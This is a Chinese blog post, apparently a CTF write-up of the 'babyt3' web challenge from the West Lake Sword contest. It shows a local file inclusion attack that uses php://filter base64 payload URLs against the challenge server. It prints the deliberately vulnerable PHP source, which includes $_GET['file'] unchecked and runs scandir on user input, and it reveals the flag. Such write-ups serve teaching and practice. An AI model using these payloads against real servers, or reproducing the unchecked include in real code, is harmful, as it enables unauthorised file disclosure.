前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >西湖论剑web 3题 解析

西湖论剑web 3题 解析

作者头像
用户2700375
发布2022-06-09 14:14:56
2360
发布2022-06-09 14:14:56
举报
文章被收录于专栏:很菜的web狗

西湖论剑的题目 前些天没有做 今天西湖论剑的题目重新放了出来 可以复现了

故来做一下web题目 题目质量较高

Xnip2019-04-11_16-54-10.jpg
Xnip2019-04-11_16-54-10.jpg

babyt3

Xnip2019-04-11_16-55-57.jpg
Xnip2019-04-11_16-55-57.jpg

打开题目连接 看到一个类似博客界面 都不是重点 重点是看到了

include $_GET['file']

看到这突然想到题目考查的应该是文件包含相关知识

故试一下

代码语言:javascript
复制
http://61.164.47.198:10000/?file=php://filter/convert.base64-encode/resource=index.php
Xnip2019-04-11_17-01-08.jpg
Xnip2019-04-11_17-01-08.jpg

两端base64加密的内容 第一段为index.php加密后的内容

base解密后为

代码语言:javascript
复制
<?php
$a = @$_GET['file'];
if (!$a) {
	$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
	die('nonono');
}
include $a;
?>

<!--hint: ZGlyLnBocA== -->

貌似用处不大 不过第二段的<!--hint: ZGlyLnBocA== -->

解密后为dir.php

访问一下

代码语言:javascript
复制
http://61.164.47.198:10000/dir.php
Xnip2019-04-11_17-06-33.jpg
Xnip2019-04-11_17-06-33.jpg

接下来利用文件包含 包含dir.php这个文件。

代码语言:javascript
复制
http://61.164.47.198:10000/?file=php://filter/convert.base64-encode/resource=dir.php

base64解密后得到 dir.php源码

代码语言:javascript
复制
<?php
$a = @$_GET['dir']; //dir通过接收数据并复制给变量a
if(!$a){ 
$a = '/tmp';	//默认a的路径
}
var_dump(scandir($a)); //列出指定路径中的文件和目录

也就是说dir.php可以读取你输入的目录并展示目录下的所有文件

自己想的是 如果我输入某目录 就会展示出目录下所有文件 文件夹名 之后我是不是可以利用文件包含 读取任意文件的内容呢??

经过测试 发现ffffflag_is_Her4文件

估计flag在文件内

Xnip2019-04-11_17-18-01.jpg
Xnip2019-04-11_17-18-01.jpg

利用文件包含读取内容

Xnip2019-04-11_17-20-24.jpg
Xnip2019-04-11_17-20-24.jpg

果然发现flag

代码语言:javascript
复制
flag{8dc25fd21c52958f777ce92409e2802a}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-04-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • babyt3
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档